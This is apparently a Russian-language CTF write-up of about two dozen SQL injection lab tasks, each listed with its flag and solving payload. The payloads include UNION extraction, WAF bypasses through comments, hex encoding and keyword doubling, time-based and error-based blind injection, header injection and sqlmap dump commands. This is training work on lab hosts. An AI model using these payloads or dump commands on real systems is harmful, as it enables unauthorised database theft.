# 20 октября — SQL-инъекции
## TASK №1

:::info
Просто вводим имя Kurome
:::
:::warning
flag: spbctf{i_l0ve_cookies_and_sist3r}
:::
## TASK №2


:::info
==SQL-request:==
0' OR name = 'Yuno Gasai
:::
:::warning
flag: spbctf{I_w@nt_to_kill_y0u!!}
:::
## TASK №3


:::info
==SQL-request:==
LINA' -- c
:::
:::warning
flag: spbctf{One_wh0_is_darker_than_twilight}
:::
## TASK №4


:::warning
flag: spbctf{my_weight_is_40kg____}
:::
## TASK №5


:::warning
flag: spbctf{I_am_girl_magician!!}
:::
## TASK №6


:::warning
flag: spbctf{mmya_____nyaaaa!}
:::
## TASK №7


:::info
C помощью ==SELECT * FROM INFORMATION_SCHEMA.TABLES== выводим список всех доступных таблиц в бд и находим таблицу type: BASE TABLE с именем table_b87b13ee3f01597899d340cce7bdcc53
пишем запрос ==SELECT * FROM table_b87b13ee3f01597899d340cce7bdcc53==
:::
:::warning
flag: spbctf{heh_you_w0n_my_3ng1n3}
:::
## TASK №8



:::info
sql debug выводит данные из таблицы age -> нам надо ее скипнуть, методом проб и ошибок понимаем что макс возраст 138 и после этого таблица не выводится ->
через UNION пишем второй запрос и находим флаг
req: ==1312 UNION SELECT flag, 2, 3 FROM flag==
:::
:::warning
spbctf{f1r57_bypa55}
:::
## TASK №9


:::info
пробуем ==1337 union select id, name, flag from flags==
получаем кучу флагов

видим что реальный имеет имя 7e6d83ade8bcbea8
пробуем:
==124247 union select id, name, flag from flags where name='7e6d83ade8bcbea8'==
Получем ошибку и понимаем что надо закодировать имя в хексы

name= 0x37653664383361646538626362656138
:::
:::warning
spbctf{7f95f2e1d57eb5605e77a48f735e60f5}
:::
:::success
## TASK №10
(https://web-kids20.forkbomb.ru/tasks/websql_bypass6)
:::


:::info
видим что уязвимость есть в get поле
?product_id=1 UNION SELECT flag, 2, 3 FROM flag ->
?product_id=1%20UNION%20SELECT%20flag,%202,%203%20FROM%20flag
:::

:::warning
spbctf{63ddd1876f0f8fa8}
:::
:::success
## TASK №11
:::


:::info
видим что нам WAF заблокировали большинство символов
гуглим bypass space filter sql injection на сайте owasp узнаем спопобы обхода
кодируем имя b548d45080b9d110 в хексы-> 0x62353438643435303830623964313130:
```
132342/**/UNION/**/SELECT/**/*/**/FROM/**/flags/**/where/**/name/**/like/**/0x62353438643435303830623964313130
```
:::
:::warning
spbctf{65bf992073ff5b30a2eb10b0d04d9110}
:::
## TASK №12
(https://web-kids20.forkbomb.ru/tasks/websql_bypass5)



:::info
waf тут в виде регулярки гуглим что она значит и пишем запрос
имя также переводим в хексы
```
133232 UNION seLect id, name, flag from flags where name like 0x33663161373665353336613061383035
```
:::
:::warning
spbctf{ecdab8d55512b3a70c367f392b2f3a89}
:::
## TASK №13
(https://web-kids20.forkbomb.ru/tasks/websql_bypass6)



:::info
видим что заблочена запятая и нам надо вывести несколько столбцов, гулим байпас для этого
находим фичу через join(select '123') as name
```
133232 UNION seLect * from flag join (seLect '12') as a join (seLect '12' ) as a
```
понимаем что надо разные имена для столбцов и исправляем ввод
```
133232 UNION seLect * from flag join (seLect '12') as a join (seLect '12' ) as b
```
:::
:::warning
spbctf{y34h_impo55ible_7ask_d0ne}
:::
## TASK №14

(https://web-kids20.forkbomb.ru/tasks/websql_bypass7)


:::info
видим что заблочен любой регистр слова select ищем обход этого(сайт бурпа ван лав нашел там)
можно юзать SELSELECTECT
```
132372 union SELSELECTECT flag, 1, 2 from flag
```
:::
:::warning
spbctf{selselselectectect_me_nonononowwww}
:::
## TASK №15
(https://web-kids20.forkbomb.ru/tasks/websql_bypass8)
:::



:::info
waf тут в виде регулярки гуглим что она значит и понимаем что имя в хексы нельзя перевести
тогда нужно подумать как поиграться с полем name
методом проб и ошибок я случайно получаю с помощью order by age флаг
```
132372 union select id, name, flag from flags order by age
```
(==сук пздц зачем так много неправильных флагов боль==)
понимаю что флаг неправильный и с помощью лимитов добираюсь до нужного имени флага
```
132372 union select id, name, flag from flags order by age limit 614, 1
```
:::
:::warning
spbctf{7a9cc937ed8c991f5fc5a87931810468}
:::
:::success
TASK №16-------------------------------------------------------------------------------------------
(https://web-kids20.forkbomb.ru/tasks/websql_time1)
:::



:::info
- в названии вижу слово time, значит надо искать инъекции свзяаные со временем
путем гугла нахожу такую штуку как blind-injection и читаю че это за зверь
нахожу такую штуку SELECT * from (SUBSTRING(version(),1,1)=5,SLEEP(5),null)
- читаем как работает SUBSTRING(string, start, length) и переделываем инъекцию под себя
:::
```
IF(SUBSTRING((select flag from flag),1,1)='s',SLEEP(5),null)
```
сайт уснул а значит у нас есть здесь full-blind inj
spbctf{g00d_j0b_try_h4ard}
:::success
TASK №16-------------------------------------------------------------------------------------------
(https://web-kids20.forkbomb.ru/tasks/websql_time2)
:::



:::info
изучая исходны php код видим что есть инъекция в user-agent`те и пишем инъекцию
в бурпе меняем строчку с юзер агентом на
:::
```
asasa', (select flag from flag)) ON DUPLICATE KEY UPDATE time = NOW(), useragent = (select flag from flag) -- qwe
```
:::warning
spbctf{7a9cc937ed8c991f5fc5a87931810468}
:::
:::success
TASK №17-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/login/)
:::


:::info
сомтря на исходный код состовляем инъекцию
12' and 1=2 union select flag from flag where flag like "%" -- qwe
подбираем кол-во столбоцов
12' and 1=2 union select flag, 1, 2 from flag where flag like "%" -- qwe
перебираем всемозможные цифры по очереди
12' and 1=2 union select flag, 1, 2 from flag where flag like "1-9%" -- qwe
:::
:::warning
spbctf{6908819}
:::
:::success
TASK №18-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/error1/)
:::


:::info
сомтря на исходный код видим что есть waf с регуляркой,
гуглим что она значит -> (регистронезависимый бан слова sleep)
думаем как это можно обойти(судя по названию это error-based inj)
ищем как ее составить -> SELECT extractvalue(rand(),concat(0x3a,(select version())))
:::
```
SELECT extractvalue(rand(),concat(0x3a,(select flag from flag)))
```
:::warning
spbctf{0h_noo_3rr0r}
:::
:::success
TASK №18-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/error1/)
:::

:::info
юзаем инъекцию из прошлого таска и понимаем что функция обрезает наш флаг
попробуем вывести часть флага с помощью сабстринг (js привет спасибо что ты есть)
```
extractvalue(rand(),concat(0x3a,substr((select flag from flag), 25, 27)))
```
:::
:::warning
spbctf{0h_h3r3_w3_g0_4g4in__but_w41t_it_s_too_long_c4n_i_f37ch_17_all__pl3453_st0p_wr1t1ng_such_r4nd0m_w0rd5_here}
:::
:::success
TASK №19-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::



:::info
с помощью подсказки понимаем что надо вывести схему, прчием в одной строке(с помощью group_concat)
select group_concat(table_name) from information_schema.tables
```
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_LOCK_WAITS,INNODB_SYS_TABLESTATS,INNODB_CMP,INNODB_METRICS,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_SYS_FOREIGN,INNODB_SYS_COLUMNS,INNODB_SYS_INDEXES,INNODB_FT_DEFAULT_STOPWORD,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_CMPMEM,INNODB_FT_INDEX_TABLE,INNODB_FT_BEING_DELETED,INNODB_SYS_TABLESPACES,INNODB_FT_INDEX_CACHE,INNODB_SYS_FOREIGN_COLS,INNODB_SYS_TABLES,INNODB_BUFFER_POOL_STATS,INNODB_FT_CONFIG,==s3cr3t5==
```
получил вот такую штуку вижу таблицу secret
судя по waf значения передаваемые в where нужно будет кодить в хексы (s3cr3t5 ->0x73336372337435)
для начала узнаем какие столбы есть в нашей таблице
```
(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where table_name=0x73336372337435)
```
получаем имя нашего столбца: mystery_here
объединяем:
```
select group_concat(mystery_here) from s3cr3t5
```
:::
:::warning
spbctf{3efa91900e6f144f252a40f43dfc1f55}
:::
:::success
TASK №20-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::


:::info
видим что у нас есть два поля ввода offset и limit
гуглим что такое offset
понимаем что конец запроса выглядит примерно как LIMIT 0, 5
значит можно добавить наш любимый union select
в поле limit вставляем:
```
3 union select 1
потом
3 union select 1, 2
потом
```
понимаем что в нашей таблице 2 столбца
пробуем вытащить флаг
```
3 union select flag, 2 from flag
```
получаем имя нашего столбца: mystery_here
объединяем:
```
3 union select flag, 2 from flag
```
:::
:::warning
spbctf{your_only_limit_is_youuuuuuu}
:::
:::success
TASK №20-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::


:::info
такс называется sqlmap значит надо почитать про эту тулзу
понимаем как она работает и запускаем с параметром -u и видим что нашла time-blind inj
гуглим как сделать там и в исходном коде вими что таблица назвается level24( -D level24)
:::
```
sqlmap -u http://kslweb1.spb.ctf.su/third/level24/?product_id=1 -D level24 --dump
```
:::warning
KSL{164c45c9d60377a2dac48573c5032f3f}
:::
:::success
TASK №21-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::



```
sqlmap -u http://kslweb1.spb.ctf.su/third/level25 --data=query=qwe -D level25 --dump-all
```
:::warning
KSL{0ad94627ddbea090607cd26d81105c4c}
:::
:::success
TASK №22-------------------------------------------------------------------------------------------
(http://kslweb1.spb.ctf.su/sqli/calc/)
:::


:::info
вдим что тут прикол какой-то с юзер агентом
значит надо sqlmapу сказать что инъекция в юзер агенте:
:::
```
sqlmap -u http://kslweb1.spb.ctf.su/third/level26 --headers="User-Agent:test*"
```
:::warning
KSL{0c9b5c8931db3504543b87f0c890d2ba}
:::
:::success
TASK №23-------------------------------------------------------------------------------------------
:::info
все как в прошлом таске только он выводит очень много таблиц и надо узнать как отфильтровать по конкретной таблице flag(находим параметр -T)
:::
```
sqlmap -u http://kslweb1.spb.ctf.su/third/level27/?product_id=1 -D level27 -T flag --dump
```
:::warning
KSL{af6c2f971acf764e1b031360545f48bd}
:::
==ласт таск 33 я не буду оформлять я заемался==
вот кароче команда данные data я в бурпе взял
```
sqlmap -u http://kslweb1.spb.ctf.su/sqli/logineasy/ -data 'login=qwe&password=qwe' -D login1 -T flag -t 32 --dump
```
вот кароче флаг spbctf{jackdaws love my big sphinx of quartz}